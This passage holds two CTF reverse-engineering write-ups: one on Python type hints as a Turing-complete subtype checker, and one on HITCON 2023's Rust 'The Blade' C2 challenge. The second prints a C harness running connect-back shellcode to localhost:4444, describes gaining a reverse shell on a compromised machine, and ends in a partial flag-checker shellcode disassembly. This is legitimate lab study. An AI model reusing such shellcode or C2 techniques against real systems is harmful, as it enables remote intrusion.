The type-check passes if the values are subtypes of the annotations. This is also called a subtype query (distinguished by $<:^?$).¹ Other examples of subtype queries:

x: int = 5                  # Is type(5) a subtype of int? ✓
y: float = "abc"            # Is type("abc") a subtype of float? ✗
z: Challenge = Reverse()    # Is type(Reverse()) a subtype of Challenge? ✓

We'll find out later how to resolve subtype queries. That is, we'll look at how to figure out if a class is a subtype of another class. (Jump.)

Subtypes are great for polymorphism as they allow us to construct containers (lists, arrays, maps) in a concise and type-safe manner. Here's a simple example:

from typing import *

class Challenge: ...
class Reverse(Challenge): ...
class Web(Challenge): ...
class Pwn(Challenge): ...

# Create a list of different challenges.
chals: List[Challenge] = [Reverse(), Web(), Pwn()]

Invariance, Covariance, and Contravariance

Wow, big mathy terms.

Suppose we want to display our list of challenges. We create a function display() which takes a list of challenges. But what if we specifically pass in a list of Reverse challenges?

# Create a generic list type using an invariant type variable T.
T = TypeVar('T')
class MyList(Generic[T]): ...

def display(chals: MyList[Challenge]): ...

display(MyList[Reverse]())
# ERROR! Argument 1 to "display" has incompatible type "MyList[Reverse]"; expected "MyList[Challenge]"

(N.B. For the sake of this section, I've used a custom MyList type instead of typing.List.)

But why did this error? Although mypy deduced that $\texttt{Reverse} <: \texttt{Challenge}$, it couldn't deduce that our subtype query $\texttt{MyList[Reverse]} {} <:^? \texttt{MyList[Challenge]}$ holds.

This is where covariance and contravariance come into play. With these two bad bois, we can derive further relationships on generic types. The two are similar, with a minor difference.

Let $F[T]$ be a generic container with type parameter $T$.
If $T$ is covariant, then $A <: B\ \iff\ F[A] <: F[B]$ for any type $A$, $B$.
If $T$ is contravariant, then $A <: B\ \iff\ F[A] :> F[B]$ for any type $A$, $B$.² (It flips!)
If $T$ is invariant, then $A = B\ \iff\ F[A] = F[B]$. No other subtyping relationships are derived. (This is the default!)

Hence, in the previous code example, we can fix the code by adding covariant=True:

T = TypeVar('T', covariant=True)

Now $\texttt{MyList[Reverse]} {} <: \texttt{MyList[Challenge]}$, and the program compiles.

At this point, you should be able to appreciate the double entendre in the title: N[Subtype Metaprogramming] is N[Mostly Harmless].

Metaprogramming with Type Hints

Disclaimer: Here be dragons.

I don't have a PhD in computer science or mathematics. Most things below are rephrased from Roth's paper, but if you spot something erroneous (or have questions), do let me know. :D

We haven't even started digging through output.py! Thankfully, the challenge author linked a paper for our perusal.

Be a Subtype Checker

Back to the challenge. The program leverages the mypy type-checker to perform flag-checking. The last line of output.py asks an important question (aka subtype query): is QRW_s29[L___TAPE_END__[N[...]]] a subtype of E[E[Z]]???

To answer this subtype query, we need to search for a trail of supertypes leading us from the supposed subtype (QRW_s29[L___TAPE_END__[N[...]]]) to the upper type (E[E[Z]]).

A quick aside.

We use "$\rightsquigarrow$" to denote a resolution step in the checker.
For convenience, we simplify expressions by ignoring brackets: $C[D[E[A]]]$ becomes $CDEA$.

How does the search go? Meet the two subtyping rules used by the type-checker:

Super. Substitute a type with its supertype. $$ (C : D) \land (CA <: EB) {} \rightsquigarrow DA <: EB $$ In English, if $C$ has a supertype $D$, we can "go up a level" to search for a match.
Cancel.³ Remove the outermost type from both sides of the query. (And flip, since all type parameters are assumed to be contravariant!) $$ EA <: EB \rightsquigarrow A <: B $$ This just comes from our definition of contravariance.

The search terminates once we find a match $A <: A$.

What if there are multiple supertypes (due to multiple inheritance)? Wouldn't our paths diverge? Which one do we choose?

Keep in mind we're performing a search.

A good heuristic is to choose a supertype that cancels out the outer type on the other side.

For example:

class C(Generic[T], A["C[T]"], B["A[T]"]): ...
_: B[C[Z]] = C[C[Z]]

Here, choosing $BAT$ allows us to cancel $B$ in the next step.

$CCZ <:^? BCZ$
$\rightsquigarrow BACZ <:^? BCZ$ (Super)
$\rightsquigarrow ACZ :>^? CZ$ (Cancel)

Subtype-Checking Example

Let’s walk through an example of an infinite subtyping query.⁴ Here's the code:

from typing import TypeVar, Generic, Any
z = TypeVar("z", contravariant=True)
class N(Generic[z]): ...
x = TypeVar("x")
class C(Generic[x], N[N["C[C[x]]"]]): ...
class T: ...
class U: ...
_: N[C[U]] = C[T]()  # Subtype query: CT <: NCU.

"C[C[x]]" is quoted in order to forward-reference C. (We declare and use it in the same statement.)

And here's the applied rules:

$CT <:^? NCU$
$\rightsquigarrow NNCCT <:^? NCU$ (Super)
$\rightsquigarrow NCCT :>^? CU$ (Cancel)
$\rightsquigarrow NCCT :>^? NNCCU$ (Super)
$\rightsquigarrow CCT <:^? NCCU$ (Cancel)
(and so on...)

As you may notice, we started with $CT <:^? NCU$, but after 4 steps, another $C$ joined the party. Inductively, this will continue to grow forever (or until mypy runs out of space).

Python Type Hints are Turing Complete

It turns out that Python type hints are Turing Complete thanks to two characteristics: contravariance and expansive-recursive inheritance.

Contravariance, as we saw previously, means $A <: B\ \iff\ F[A] :> F[B]$.

In this section, we assume all type parameters are contravariant.
Expansive-Recursive Inheritance is more complicated to define, but the implications are that we can inherit recursively, and generate infinite, undecidable subtype queries. We saw an example of this in a previous section. (Read more in §2 of Roth's paper.⁵)

With these, Python type hints can (slowly) simulate any Turing machine or computation!

What is a Turing Machine?

A Turing Machine is a theoretical computing device that operates on an infinite tape divided into cells. It has a read/write head that follows rules to read, write, and move on the tape based on its current state and the symbol it reads. It repeats this process until it reaches a halting state.

Turing Machines are powerful because they can solve a wide range of computational problems. They can perform calculations, simulate other machines, and theoretically solve any problem that can be solved by an algorithm. They serve as a fundamental model for understanding the capabilities and limitations of computation.

Get some intuition by playing the Turing Machine Google Doodle.

_(collapse)

The whole ordeal is rather complicated. Essentially, there are two things to be aware of:

Type Encoding. Different aspects of the tape machine are encoded as types. For example, the L_* encode the set of possible values (excluding $\bot$, i.e. no value), and ML encodes the machine head.

^{The components of Grigore’s subtyping machine. All classes are parameterised by a contravariant type parameter $x$, except $Z$, which is monomorphic.⁵}
Inheritance Rules. These are used to encode state transitions and the general mechanics of the Turing machine.

^{Roth's subtyping inheritance rules. This image is included to illustrate inheritance rules. They differ from the rules in the challenge (which are based on Grigore's work). The first 4 rows encode Turing Machine state transitions. Again, the type parameter $x$ is contravariant.⁵}

If you want to read more, I suggest reading §1.2 of Roth's paper.⁵

Decoding the Challenge's Subtype Query

Just for fun, let's solve some subtype queries from the challenge. Who needs a job when you're employed as a full-time subtype checker?

Although the given subtype query in output.py doesn't work, we can still try simpler versions. It turns out the query recurses on the numbers. For example, the following queries compile:

E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()
E[E[Z]] = QRW_s06[L___TAPE_END__[N[L_s[N[L_d[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]()
E[E[Z]] = QRW_s30[L___TAPE_END__[N[L_s[N[L_d[N[L_n[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]]]()

We just started with the base case (empty suffix of flag), and worked backwards.

Let's look closer at the base case:

$$\texttt{QRW\_s71[...]} <:^? \texttt{E[E[Z]]}.$$

It turns out this is a special case, since the declaration of QRW_s71 inherits from E["E[Z]"]. So with just one Super expansion step, we conclude that the base case checks out. Wow, life seems easy as a subtype-checker.

Let's try the next query.

_: E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()

Although QRW_s46 inherits multiple classes, we'll substitute the E["QRL_s46[N[T]]"] supertype, because this allows us to cancel E[...] afterwards.

# Super.
_: E[E[Z]] = E[QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]]]()
# Cancel.
_: QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]] = E[Z]()

We can carry on...

_: QRL_s46[N[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]] = QRL_s46[N[QLW_s46[E[E[Z]]]]]()
_: L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]] = QLW_s46[E[E[Z]]]()
_: L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]] = QLW_s46[L___TAPE_END__[N[E[E[Z]]]]]()
_: MR[N[L___TAPE_END__[N[E[E[Z]]]]]] = QLW_s46[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]()
_: L___TAPE_END__[N[E[E[Z]]]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
_: E[E[Z]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()

Boy, work as a subtype checker seems like slave labour.

Notice that we seem to have... doubled-back? Let's do a quick comparison.

# Initial query.
_: E[E[Z]] = QRW_s46[L___TAPE_END__[N[L_s[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]]]()
# Midway.
_: E[E[Z]] = QLW_s46[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()

Indeed, the query has made one pass over the tape. Also notice how:

QRW_s46 changes to QLW_s46. (Direction swapped!)
The chain of tokens is reversed: L___TAPE_END__, L_s, MR becomes MR, L_s, L___TAPE_END__.

This is one shortcoming of Grigore's encoding of a subtyping machine: it makes a pass over the entire tape before processing a single state on the Turing Machine. This drastically increases the runtime of the machine.

Let's continue...

_: QLR_s46[N[MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]] = E[Z]()
_: MR[N[L_s[N[L___TAPE_END__[N[E[E[Z]]]]]]]] = QRW_s46[E[E[Z]]]()
_: L_s[N[L___TAPE_END__[N[E[E[Z]]]]]] = QR_s46[E[E[Z]]]()
_: L___TAPE_END__[N[E[E[Z]]]] = QRW_s71[MR[N[L_x[N[E[E[Z]]]]]]]()
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L_x[N[E[E[Z]]]]]]]]]()

Oh look! We've arrived back at QRW_s71! Time for another quick comparison:

# QRW_s71 query (original).
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L___TAPE_END__[N[E[E[Z]]]]]]]]]()
# QRW_s71 query (deduced from QRW_s46).
_: E[E[Z]] = QRW_s71[L___TAPE_END__[N[MR[N[L_x[N[E[E[Z]]]]]]]]]()

Looks like L___TAPE_END__ is replaced with a L_x. Eh, still resolves to E[E[Z]] though, so we're fine. ¯\_(ツ)_/¯

This was a rather informal attempt at induction, but hopefully it provides some insight on how the subtype query is resolved recursively.

Closing Remarks

Overall, this is a remarkable CTF challenge. When opening the files, I was pleasantly surprised, because it's so rare to see type-theoretic challenges.⁶ (In fact, this was the first type-theoretic chal I've ever seen!)

I still feel like we cheated the challenge by not going the painstaking, masochistic route of pathfinding the subtype tree. I guess that method would prove more effective if there were more red-herrings (e.g. misleading class inheritances).

But overall, an intellectually challenging reverse challenge!

References

Roth, Ori. 2023. Python Type Hints Are Turing Complete.
- Good for intuition + explanation of concepts.
- Builds upon Grigore's paper and presents an optimised subtyping machine.
Grigore, Radu. 2016. Java Generics are Turing Complete.
- The implementation of the CTF challenge was based on this paper.

Footnotes

N.B. Grigore's and Roth's paper use a different notation ($\blacktriangleleft$ / $\blacktriangleright$) for subtype queries, but I opted to use $<:^?$ / $:>^?$ instead. ↩︎
You may be wondering how the heck is contravariance useful. Well, it's immensely useful for functions and serialisers. ↩︎
In the paper, they use Var instead of Cancel, but I think the latter conveys the operation better. ↩︎
Blatantly taken from Roth's paper. ↩︎
Roth, Ori. 2023. Python Type Hints Are Turing Complete. ↩︎ ↩︎ ↩︎ ↩︎
I was also slightly disappointed when it turns out the solution was rather straightforward. But eh, it was fun reading the paper. :D ↩︎

HITCON 2023 – The Blade

2023-09-20T00:00:00Z

My first Rust rev solve! Though in hindsight, not much Rust knowledge was needed.

Description

A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.

Author: wxrdnx
40/683 solves.

Writeup

Running the Server

Let’s start by running the binary. We can get a feel by navigating the program with help and other commands.

Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.

Anyhow, we can start the server with:

server
run

We’re told to run some shellcode on the “client”. By default, this starts a connection to localhost:4444.

A simple alternative is to run nc localhost 4444 (on a separate shell). This will initiate a connection to the server, but it won’t have the same effect as the shellcode.
To run the shellcode, we can compile a simple C program containing the shellcode and execute it.

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned char shellcode[] = "\xeb\x10\x31\xc0\x53\x5f\x49\x8d\x77\x10\x48\x31\xd2\x80\xc2\xff\x0f\x05\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x50\x5b\x48\x97\x68\x7f\x00\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\xb2\x10\xb0\x2a\x0f\x05\x4c\x8d\x3d\xc5\xff\xff\xff\x41\xff\xe7";
    ((void (*)(void))(shellcode))();
}

// Compile with:
// gcc main.c  -fno-stack-protector -z execstack && gdb ./a.out

After running, then what? The commands don’t seem to reveal much, and at this point it’s a bit guessy. Time to turn to a decompiler.

Identifying Interest Points

What command triggers the flag checker?
Where is the flag processed?
How is the flag processed?

According to the description, the program contains a flag checker. So presumably we pass the flag as input at some point. But where and how?

By running strings, we find an interesting set of strings: ?flag, ?help, ?exit, ?quit. This pattern can’t be a coincidence.

In your favourite decompiler, do a search for the bytes ?flag. If you can’t find it, try playing with endian settings. This should lead you to seccomp_shell::shell::prompt().

Under a condition checking for flag, we’re led to seccomp_shell::shell::verify().

Although strings shows ?flag as the full string, the actual string is just flag. Questionable, no? This is because the byte before flag happens to be \x22 (i.e. ?). strings doesn’t know better, because it doesn’t actually disassemble the program.

So how is the flag actually processed? This requires a careful study of verify(), with a touch of dynamic analysis and experimentation.

Like most flag checkers, it turns out we just pass the flag as input (alongside the flag command).

flag hitcon{test_flag}

And like most flag checkers, we’re immediately hit with “Incorrect”.

We also get some hints about the flag's length...

...by glancing at the start of verify()...

...64.

if (param_3 != 0x40) {
	auVar27 = <>::from("incorrect/",9);
	return auVar27;
}

When we try sending a flag 64-bytes long, we get something on our other shell. We're not immediately hit with an "Incorrect".

flag hitcon{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN}

_(collapse)

Reversing the Encryption

Time to play the UNO reverse card on this binary!

There are 3 parts to the encryption. What addresses do they begin and end?
What is each part doing?

Let’s recognise some high level patterns.

It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes.

There are the 3 parts to the encryption:

Part 1 (112d10 – 113017).
Part 2 (113020 – 11309c).
Part 3 (11310e – 1133a5).

The procedure is roughly:

for _ in range(256):
	part1(flag)
	part2(flag)

part3(flag, interesting_data_a7516852)

1. Reversing the Permutation

Address: 112d10 – 113017.

Eight loops, doing pretty much the same thing. Let’s focus on the first one.

memcpy(&some_buffer,&SOME_ADDRESS,0x200);
n = 0x40;
puVar21 = (ulong *)&some_buffer_offset_by_4;
do {
	uVar23 = puVar21[-1];
	if (0x3f < uVar23)
		goto panic;
	uVar1 = __ptr[n - 1]; // __ptr :: char[]
	__ptr[n - 1] = __ptr[uVar23];
	__ptr[uVar23] = uVar1;
	
	uVar23 = puVar21[0];
	if (0x3f < uVar23)
		goto panic;
	uVar1 = __ptr[n - 2];
	__ptr[n - 2] = __ptr[uVar23];
	__ptr[uVar23] = uVar1;
	
	puVar21 += 2;
	n -= 2;
} while (n != 0);

^{(Some variables are renamed for clarity.)}

Does this look familiar?

It’s good ol’ swap! (Though slightly unrolled.) There are eight of these loops, the only difference being the memcpy source.

So how do we reverse this? Generally, there are two approaches to take:

Static analysis. This means we reverse the binary by looking at the bytecode, assembly, decompiler, etc. We don't run or emulate anything.
Dynamic analysis. In this approach, we observe the program's behaviour by running it. Common tools are gdb, strace, and ltrace.

Approaching this statically seems faster, but integer semantics may get lost in translation. Our conclusion may be unstable.

Thus, for fun (and practice), we'll go the dynamic route. Let's insert some breakpoints, input our flag of 64 unique characters (e.g. Base64 alphabet), grab the permuted string, and construct a mapping.

In GDB:

start

Break to determine __ptr location.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 61
Break to grab permuted string.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 935

continue  
server  
run  
flag abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/
(breakpoint triggered)

Get location of __ptr.
p $rax
$1 = 0x5555555d63e0
continue
(breakpoint triggered)

Get permuted string.
x/s 0x5555555d63e0
Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw

All that's left is to match the characters.

import string

p = string.ascii_letters + string.digits + '+/'
assert len(p) == 64
print(p)

# Permuted string obtained from GDB.
permuted = 'Rp5v+AZmM8XWy1sgNhTB/oCzYVdPrGn6KD3Q9lke4qtFxHb0uUOcS2jIEJfL7aiw'[:64]

perm = [0] * 64  # Permutation 
rperm = [0] * 64 # Reverse permutation

for i, c in enumerate(p):
	j = permuted.index(c)
	perm[i] = j
	rperm[j] = i

First part done!

2. Constructing An Inverse Map

Address: 113020 – 11309c.

Part 2 Decompile

Looks like a bunch of arithmetic.

do {
    uVar23 = 0;
    uVar18 = 1;
    uVar3 = __ptr[lVar20] + 1;
    uVar19 = 0x101;
    do {
        uVar25 = uVar3;
        uVar27 = uVar18;
        uVar3 = uVar19 % uVar25;
        iVar24 = (int)uVar27;
        iVar26 = (int)uVar23;
        uVar23 = uVar27;
        uVar18 = (ulong)(iVar26 - (uVar19 / uVar25) * iVar24);
        uVar19 = uVar25;
    } while ((short)uVar3 != 0);
    __ptr[lVar20] = ((uVar27 & 0xffff) >> 0xf) + uVar27 +
                    ((((uVar27 >> 0xf) - iVar24) + iVar26 & 0xffffU) / 0x101) + 0x71U ^ 0x89;
    lVar20 += 1;
} while (lVar20 != 0x40);

^{Some type-casts were removed to simplify the code.}

_(collapse)

If we reverse this statically, it seems like we get a one-to-one mapping of sorts... almost a bijection... but perhaps our implementation is wrong? Better check it with dynamic analysis. 🫠

By "mapping", I mean values are transformed and mapped from one value to another. For example, a (0x61) is mapped to u (0x75), while b (0x62) is mapped to q (0x71).

Like before, we could reverse this part statically... but overflow and types are tricky to get right. So we'll go dynamic again!

Let's start with some basic GDB analysis:

What breakpoints should we add to check the result of one map iteration?
What memory location should we examine?
(And after all that, can you derive the mapping function?)

Oh where to go?

We'll break after the loop, at 11309e.

break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 1070

As for memory location, the code still modifies __ptr, so we'll read from the same location.

x/16wx 0x5555555d63e0

_(collapse)

Two things I'd like to point out:

Previously, we used x/s to print a string from memory. This time, I used x/16wx to print bytes, since some mapped bytes aren't printable.¹
There's another problem... previously, we input the bytes through flag <bytes>, and this is great if we're using printable chars. But what about non-printable chars? There are different solutions around this:
- Employ GDB input tricks.
- Track cycles of characters.
- Break before mapping, and hard-code __ptr by modifying its memory. Since the goal is to discover the remaining mappings, we'll hard-code __ptr with the rest of the bytes outside our Base64 alphabet.
Y'know what? Let's go with the last option!

start

Break before the loop.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 937
Break after the loop.
break *_ZN13seccomp_shell5shell6verify17h898bf5fa26dafbabE + 1070

continue
(breakpoint-before-loop triggered)

Set 8x8 = 64 bytes. (I used a Python script to generate these `set` cmds from the missing input bytes.)
set *(0x5555555d63e0 as *mut u64) = 0x0001020304050607
set *(0x5555555d63e8 as *mut u64) = 0x08090a0b0c0d0e0f
and so on...
set *(0x5555555d6410 as *mut u64) = 0x3c3d3e3f405b5c5d
set *(0x5555555d6418 as *mut u64) = 0x5e5f607b7c7d7e7f

continue
(breakpoint-after-loop triggered)

Get mapped bytes.
x/16wx 0x5555555d63e0
...
Repeat until all mappings are deduced...

Finished gathering data? Let's analyse it!

# Values obtained with `x/16wx 0x5555555d63e0`.

# Values before mapping.
dst = """
0x5555555d63e0: 0x76357052      0x6d5a412b      0x5758384d      0x67733179
0x5555555d63f0: 0x4254684e      0x7a436f2f      0x50645659      0x366e4772
0x5555555d6400: 0x5133444b      0x656b6c39      0x46747134      0x30624878
0x5555555d6410: 0x634f5575      0x496a3253      0x4c664a45      0x77696137

0x5555555d63e0: 0x04050607      0x00010203      0x0c0d0e0f      0x08090a0b
0x5555555d63f0: 0x14151617      0x10111213      0x1c1d1e1f      0x18191a1b
0x5555555d6400: 0x24252627      0x20212223      0x2d2e3a3b      0x28292a2c
0x5555555d6410: 0x405b5c5d      0x3c3d3e3f      0x7c7d7e7f      0x5e5f607b

-- snip -- to save space --
"""

# Values after mapping.
mpd = """
0x5555555d63e0: 0x2e616c58      0xe2cb3269      0xa002e0b3      0xc16b1c86
0x5555555d63f0: 0xd2799cec      0x74d9c29e      0x9f043b0c      0xed14031e
0x5555555d6400: 0xca978fa2      0x39a4d8da      0xaf7e645b      0x0f71930b
0x5555555d6410: 0x0a81fd99      0x3aef66b7      0xe1ff00ee      0x09ab75ad

0x5555555d63e0: 0x51158ddb      0xfb7b4ebb      0xaab260eb      0xb0aca58e
0x5555555d63f0: 0x2bc6a635      0x635cde42      0xbd24b1e3      0x3043d65f
0x5555555d6400: 0x7c6d8b17      0x8ca7d52a      0x59a92706      0x9d83fe10
0x5555555d6410: 0x41a880c0      0x25dc5ee7      0xc42d4ff9      0x164d2f6a

-- snip --
"""

def mkbytes(s):
    return [int(bs[2*(i+1):2*(i+2)], 16) for l in s.strip().split('\n') if l.strip() for bs in l.split(': ')[1].split() for i in range(4)]

dbytes = mkbytes(dst)
mbytes = mkbytes(mpd)

mp = [0]*256  # Value map.
rmp = [0]*256 # Reverse value map.
for a, b in zip(dbytes, mbytes):
    mp[a] = b
    rmp[b] = a

# Assert bijection.
assert len(mp) == len(rmp) == 256

And just like that, we obtained a reverse mapping, thanks to it being a bijection!

What is a bijection?

A bijection is a function where...

each input maps to a unique output. (injective)
each possible output is mapped from a corresponding input. Specifically, every value in the function's range has a mapping. (surjective)

This characteristic is crucial as it guarantees an invertible operation.

^{(Image Source)}

3. Cracking the Shellcode

Address: 11310e – 1133a5.

The final part. Subtle, but delectable.

What are the 255 bytes copied into the Rust vec?

local_278 = alloc::raw_vec::RawVec<T,A>::allocate_in(0xff,0);
memcpy(local_278._0_8_,&DAT_00162b2b,0xff);

What is the purpose of the data loaded at 11310e?

local_238 = 0x526851a7;
local_234 = 0x31ff2785;
local_230 = 0xc7d28788;
local_22c = 0x523f23d3;
local_228 = 0xaf1f1055;
local_224 = 0x5c94f027;
// -- snip --

The 255 bytes loaded into a vec? Guess what? That also happens to be a shellcode!

Follow-up question: if this is shellcode, what does it do? how is it run?

We can disassemble it with pwntools.disasm to get the following ASM.

Small caveat: you'll want to set context.arch = 'amd64' for disasm to interpret the shellcode correctly. In the disassembly, we see our two points of insertion (0xdeadbeef) treated as values, so amd64 is probably the right choice.

-- snip --
  b2:   0f 05                   syscall             ; read from /dev/zero
  b4:   58                      pop    rax          ; rax = 0
  b5:   48 f7 d0                not    rax          ; exercise for the reader
  b8:   48 c1 e8 1d             shr    rax, 0x1d    ;
  bc:   48 99                   cqo                 ;
  be:   6a 29                   push   0x29         ;
  c0:   59                      pop    rcx          ;
  c1:   48 f7 f1                div    rcx          ;
  c4:   49 96                   xchg   r14, rax     ; swap r14 and rax
  c6:   6a 03                   push   0x3
  c8:   58                      pop    rax          ; rax = 3
  c9:   0f 05                   syscall             ; close()
  cb:   b8 ef be ad de          mov    eax, 0xdeadbeef  ; flag input
  d0:   44 01 e0                add    eax, r12d
  d3:   44 31 e8                xor    eax, r13d
  d6:   c1 c8 0b                ror    eax, 0xb
  d9:   f7 d0                   not    eax
  db:   44 31 f0                xor    eax, r14d        ; eax = ~(ror(0xb, (0xDEADBEEF + r12) ^ r13)) ^ r14
  de:   3d ef be ad de          cmp    eax, 0xdeadbeef  ; static values (expected output)
  e3:   75 05                   jne    0xea
  e5:   6a 01                   push   0x1
  e7:   58                      pop    rax  ; rax = 1
  e8:   eb 03                   jmp    0xed
  ea:   48 31 c0                xor    rax, rax ; rax = 0

-- snip --

I've included the juiciest part above (with some annotations). Essentially, we perform several reversible operations (add, xor, ror, not) on 4 bytes of input; and the result is checked against 4 bytes of static data. Finally, it sets rax = 1 if correct, and rax = 0 if false.

But are we actually comparing 0xdeadbeef. Nope—we're comparing something else instead.

What are the two 0xdeadbeef being replaced with?

The Guts: What does the shellcode load?

Here is some (simplified) code which overwrites 0xdeadbeef values at instruction 113168. Remember, vec is the shellcode and __ptr is our permuted + mapped input.

vec[0xcc] = __ptr[0];
vec[0xdf] = 0xA7;
vec[0xcd] = __ptr[1];
vec[0xe0] = 0x51;
vec[0xce] = __ptr[2];
vec[0xe1] = 0x68;
vec[0xcf] = __ptr[2];
vec[0xe2] = 0x52;

Does 0xA7, 0x51, 0x68, and 0x52 look familiar? 🙃 Check the wall of bytes in 11310e.

Effectively, the Rust performs a little surgery on shellcode before using it.

But how is it used? Leafing around the decompiled code, you may notice Rust IO write and read functions... those seem sus...

_(collapse)

By now, you probably know what the shellcode does: flag-checking. But there are a few more things we need to reverse...

In the calculations, three mystery values (r12, r13, r14) are used. These were computed in the preceding shellcode. To efficiently obtain our flag input from the expected output, we need to find out what these mystery values are.

In case you'd like to have a stab at dissecting the assembly, the full (unblemished) shellcode is in the box below. Try to figure out what r12, r13, and r14 are!

If you're stuck, try using GDB on our shellcode program (main.c from Running the Server) with watchpoints.
- Important: the shellcode we saw when starting the server is different from the shellcode we're reversing here! The former acts as a client, receiving commands and executing them. The latter is a flag-checker payload that is sent to the client over the network.
Here's a useful list of Linux x86-64 syscalls: filippo.io: Linux Syscall Table.

Full Shellcode

Have fun! :)

   0:   54                      push   rsp
   1:   5d                      pop    rbp
   2:   31 f6                   xor    esi, esi
   4:   48 b9 a1 57 06 b8 62 3a 9f 37   movabs rcx, 0x379f3a62b80657a1
   e:   48 ba 8e 35 6f d6 4d 49 f7 37   movabs rdx, 0x37f7494dd66f358e
  18:   48 31 d1                xor    rcx, rdx
  1b:   51                      push   rcx
  1c:   54                      push   rsp
  1d:   5f                      pop    rdi
  1e:   6a 02                   push   0x2
  20:   58                      pop    rax
  21:   99                      cdq
  22:   0f 05                   syscall
  24:   48 97                   xchg   rdi, rax
  26:   31 c0                   xor    eax, eax
  28:   50                      push   rax
  29:   54                      push   rsp
  2a:   5e                      pop    rsi
  2b:   6a 04                   push   0x4
  2d:   5a                      pop    rdx
  2e:   0f 05                   syscall
  30:   41 5c                   pop    r12
  32:   6a 03                   push   0x3
  34:   58                      pop    rax
  35:   0f 05                   syscall
  37:   31 f6                   xor    esi, esi
  39:   48 b9 3b 3b 6f c3 63 64 c0 aa   movabs rcx, 0xaac06463c36f3b3b
  43:   48 ba 48 4c 0b c3 63 64 c0 aa   movabs rdx, 0xaac06463c30b4c48
  4d:   48 31 d1                xor    rcx, rdx
  50:   51                      push   rcx
  51:   48 b9 8c 57 82 75 d6 f8 a9 7d   movabs rcx, 0x7da9f8d67582578c
  5b:   48 ba a3 32 f6 16 f9 88 c8 0e   movabs rdx, 0xec888f916f632a3
  65:   48 31 d1                xor    rcx, rdx
  68:   51                      push   rcx
  69:   54                      push   rsp
  6a:   5f                      pop    rdi
  6b:   6a 02                   push   0x2      
  6d:   58                      pop    rax
  6e:   99                      cdq
  6f:   0f 05                   syscall
  71:   48 97                   xchg   rdi, rax
  73:   31 c0                   xor    eax, eax
  75:   50                      push   rax
  76:   54                      push   rsp      
  77:   5e                      pop    rsi
  78:   6a 04                   push   0x4 
  7a:   5a                      pop    rdx
  7b:   0f 05                   syscall
  7d:   41 5d                   pop    r13
  7f:   6a 03                   push   0x3      
  81:   58                      pop    rax
  82:   0f 05                   syscall
  84:   31 f6                   xor    esi, esi
  86:   6a 6f                   push   0x6f
  88:   48 b9 59 e5 06 0c 2d f6 d9 77   movabs rcx, 0x77d9f62d0c06e559
  92:   48 ba 76 81 63 7a 02 8c bc 05   movabs rdx, 0x5bc8c027a638176
  9c:   48 31 d1                xor    rcx, rdx
  9f:   51                      push   rcx
  a0:   54                      push   rsp
  a1:   5f                      pop    rdi
  a2:   6a 02                   push   0x2  
  a4:   58                      pop    rax
  a5:   99                      cdq
  a6:   0f 05                   syscall
  a8:   48 97                   xchg   rdi, rax
  aa:   31 c0                   xor    eax, eax
  ac:   50                      push   rax
  ad:   54                      push   rsp
  ae:   5e                      pop    rsi
  af:   6a 04                   push   0x4
  b1:   5a                      pop    rdx
  b2:   0f 05                   syscall
  b4:   58                      pop    rax
  b5:   48 f7 d0                not    rax
  b8:   48 c1 e8 1d             shr    rax, 0x1d
  bc:   48 99                   cqo
  be:   6a 29                   push   0x29
  c0:   59                      pop    rcx
  c1:   48 f7 f1                div    rcx
  c4:   49 96                   xchg   r14, rax
  c6:   6a 03                   push   0x3
  c8:   58                      pop    rax
  c9:   0f 05                   syscall
  cb:   b8 ef be ad de          mov    eax, 0xdeadbeef
  d0:   44 01 e0                add    eax, r12d
  d3:   44 31 e8                xor    eax, r13d
  d6:   c1 c8 0b                ror    eax, 0xb
  d9:   f7 d0                   not    eax
  db:   44 31 f0                xor    eax, r14d
  de:   3d ef be ad de          cmp    eax, 0xdeadbeef
  e3:   75 05                   jne    0xea
  e5:   6a 01                   push   0x1
  e7:   58                      pop    rax
  e8:   eb 03                   jmp    0xed
  ea:   48 31 c0                xor    rax, rax
  ed:   50                      push   rax
